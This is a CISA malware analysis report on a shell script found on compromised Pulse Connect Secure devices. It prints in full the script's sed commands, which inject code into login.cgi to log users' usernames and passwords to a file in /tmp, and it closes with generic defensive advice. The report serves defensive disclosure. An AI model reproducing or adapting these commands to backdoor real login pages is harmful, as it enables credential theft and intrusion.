MAR-10333243-3.v1: Pulse Secure Connect

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Description

CISA received one unique file for analysis. This file contains a malicious shell script recovered from a compromised Pulse Secure device. This malicious script is designed to modify the Pulse Secure login.cgi script effectively causing it to log a valid user's username and password credentials into a file stored on disk. This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of indicators of compromise, see: MAR-10333243-3.v1.stix.

Submitted Files (1)

45b81360ed62ec817fb63c5522fc3400ce0c73a369ea3b381267c2e24051db2b (malware_unallocated.txt)

45b81360ed62ec817fb63c5522fc3400ce0c73a369ea3b381267c2e24051db2b

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This shell script was utilized by the attacker to modify the Pulse Secure system script named login.cgi. The modifications to the application login.cgi are performed using the Linux sed command. These modifications are primarily designed to cause the system application to log a user's password and username credentials to a file when the user logs into a compromised Pulse Secure device. The credentials can then be retrieved by the attacker. These stolen credentials may be utilized as a means to easily access the compromised Pulse Secure device remotely, or to pivot to other systems and networks. The sed commands utilized by this script to modify login.cgi are illustrated below.



--Begin Malicious sed Commands--



sed -n "/DSWebAuth::saveCredentials($sessid/=" /home/webserver/htdocs/dana-na/auth/login.cgi | sed -n "1"



sed -i ''$row' i\ \t\ \t\ \tmy $realmName = $realmInfo->{name}; my $uf="/tmp/dswebserver.statementcounters";open(*FN,">>$uf");print FN "Realm:$realmName Name:$username Pwd:$password AuthNum:1\\n";close (*FN);' /home/webserver/htdocs/dana-na/auth/login.cgi



sed -n "/DSWebAuth::saveCredentials($sessid/=" /home/webserver/htdocs/dana-na/auth/login.cgi

               

sed -i ''$row' i\ \t\ \t\ \tmy $realmName = $realmInfo->{name}; my $uf="/tmp/dswebserver.statementcounters";open(*FN,">>$uf");print FN "Realm:$realmName Name:$userName2 Pwd:$password2 AuthNum:2\\n";close (*FN);' /home/webserver/htdocs/dana-na/auth/login.cgi

               

sed -n '/my $uf=/p' /home/webserver/htdocs/dana-na/auth/login.cgi



sed -i '/my $uf=/d' /home/webserver/htdocs/dana-na/auth/login.cgi



sed -n '/my $uf=/p' /home/webserver/htdocs/dana-na/auth/login.cgi



--End Malicious sed Commands--



The modifications made to the Pulse Secure login.cgi application by these sed commands effectively result in the user's username and paswords being logged to a file named "/tmp/dswebserver.statementcounters" when the user logs into a compromised Pulse Secure device.

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
• Monitor users' web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

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What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

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• Web: https://malware.us-cert.gov
• E-Mail: submit@malware.us-cert.gov
• FTP: ftp.malware.us-cert.gov (anonymous)

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